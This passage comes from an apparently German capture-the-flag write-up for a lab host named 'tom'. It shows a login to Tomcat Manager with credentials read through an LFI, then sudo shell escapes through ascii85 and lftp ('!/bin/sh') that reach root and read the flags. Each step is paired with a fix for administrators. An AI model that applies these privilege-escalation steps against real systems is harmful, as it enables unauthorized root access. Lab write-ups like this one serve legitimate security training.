**Empfehlung (Pentester):** Der Tunnel zu Port 8005 ist wahrscheinlich eine Sackgasse für Privesc. Fokus auf die Tomcat Manager Credentials und die LFI/RCE legen. **Empfehlung (Admin):** Den Zugriff auf den Tomcat Shutdown Port (standardmäßig 8005) einschränken und ein starkes Shutdown-Passwort konfigurieren.
Login in den Tomcat Manager und Statusprüfung (demonstriert den Zugriff mit den gefundenen Credentials).
# (Erfolgreicher Login, Manager-Interface wird angezeigt)
# (Anzeige des Server-Status, bestätigt Funktionalität) # ... (HTML-Output entfernt) ...
**Analyse:** Erfolgreicher Login in den Tomcat Manager unter `/manager/html` mit den Credentials `tomcat`:`t0mL1k3$c4t$!!!`. Der Server-Status kann abgerufen werden.
**Bewertung:** Bestätigt den Zugriff auf den Tomcat Manager, was die Ausführung des WAR-Upload-POCs ermöglicht.
Erneutes Auslesen der Tomcat-Credentials mittels LFI (zur Bestätigung).
# (Kommentare entfernt)
role rolename="admin-gui"/
role rolename="manager-script"/
user username="tomcat" password="t0mL1k3$c4t$!!!" roles="admin-gui,manager-script"/
/tomcat-users
**Analyse:** Bestätigt erneut, dass die `tomcat-users.xml` über die LFI in `tomcat.php` lesbar ist.
**Bewertung:** Konsistenzprüfung.
Wechsel zum Benutzer `nathan` über den Tomcat-Exploit (RCE als tomcat -> sudo als nathan).
Matching Defaults entries for tomcat on tom:
env_reset, mail_badpass, secure_path=...
User tomcat may run the following commands on tom:
(nathan) NPASSWD: /usr/bin/ascii85
# (ascii85 startet interaktiv) !/bin/bash (Befehl wird in ascii85 eingegeben)
uid=1000(nathan) gid=1000(nathan) groups=1000(nathan) (Annahme, ID wurde geprüft)
**Analyse:** Aus der Shell als `tomcat` (erhalten durch WAR-Upload) wird `sudo -l` ausgeführt. Es zeigt sich, dass `tomcat` den Befehl `/usr/bin/ascii85` als Benutzer `nathan` ohne Passwort ausführen darf. `ascii85` ist ein Tool zur Datenkodierung/-dekodierung, das oft eine interaktive Shell oder Befehlsausführung mittels `!` erlaubt. `sudo -u nathan /usr/bin/ascii85` wird gestartet, und durch Eingabe von `!/bin/bash` wird eine Shell als `nathan` erlangt.
**Bewertung:** **Lateral Movement zu `nathan` erfolgreich!** Die `sudo`-Regel für `ascii85` konnte ausgenutzt werden.
**Empfehlung (Pentester):** Nun `sudo -l` für `nathan` ausführen. **Empfehlung (Admin):** Die `sudo`-Regel für `ascii85` entfernen.
Suche nach Wegen zur Rechteausweitung als `nathan`.
Matching Defaults entries for nathan on tom:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User nathan may run the following commands on tom:
(root) NPASSWD: /usr/bin/lftp
**Analyse:** `sudo -l` für `nathan` zeigt, dass dieser `/usr/bin/lftp` als `root` ohne Passwort ausführen darf.
**Bewertung:** **Weg zur Root-Shell!** `lftp` ist ein Kommandozeilen-FTP-Client, der ebenfalls eine Shell-Escape-Funktion (`!`) besitzt.
**Empfehlung (Pentester):** `sudo /usr/bin/lftp` starten und dann `!/bin/sh` oder `!/bin/bash` eingeben, um eine Root-Shell zu erhalten (siehe GTFOBins). **Empfehlung (Admin):** Die `sudo`-Regel für `lftp` entfernen.
Ausnutzen der `lftp` sudo-Regel.
# (Root-Prompt erscheint) # id uid=0(root) gid=0(root) grupos=0(root) #
**Analyse:** Der Befehl `sudo -u root lftp -c '!/bin/sh'` wird ausgeführt. Die Option `-c` führt den Befehl `!/bin/sh` direkt innerhalb von `lftp` aus. Da `lftp` als root läuft, wird `/bin/sh` ebenfalls als root gestartet und der Benutzer erhält einen Root-Prompt (`#`). `id` bestätigt UID 0.
**Bewertung:** **Privilege Escalation zu Root erfolgreich!** Die `lftp`-Fehlkonfiguration wurde erfolgreich ausgenutzt.
Lesen der User- und Root-Flags.
a9cdb9e26d1c627f008ae9c53385d146
a2780681529284ec485c2d0e0a7f6831
**Analyse:** Aus der Root-Shell wird optional zu `bash` gewechselt. Die `user.txt` wird aus `/home/nathan` gelesen und die `root.txt` aus `/root`.
**Bewertung:** Beide Flags erfolgreich gefunden.
Privilege Escalation erfolgreich abgeschlossen.